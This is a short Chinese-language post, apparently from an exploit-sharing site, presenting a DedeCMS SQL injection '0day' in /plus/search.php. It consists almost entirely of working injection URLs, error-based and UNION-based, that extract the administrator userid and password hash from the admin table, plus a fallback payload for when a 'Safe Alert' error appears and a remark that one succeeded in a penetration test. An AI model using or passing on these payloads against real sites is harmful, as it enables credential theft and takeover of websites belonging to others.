Dedecms 搜索注射0day (/plus/search.php)

[php]http://www.0day5.com /plus/search.php?keyword=11&typeArr[%60@%27%60%20and%28SELECT/**/1%20FROM%28select/**/count%28*%29,concat%28floor%28rand%280%29*2%29,%28SELECT/*%27%27*/concat%280x5f,userid,0x5f,pwd,0x5f%29%20from%20%23@__admin%20Limit%200,1%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29]=1[/php]
[php]http://www.0day5.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a[/php]
看结果如果提示
Safe Alert: Request Error step 1 !
那么直接用下面的exp
[php]http://www.0day5.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a[/php]
做渗透测试的时候发现上面的不能使用,于是下面这个成功了
[php]http://www.0day5.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a[/php]

发表评论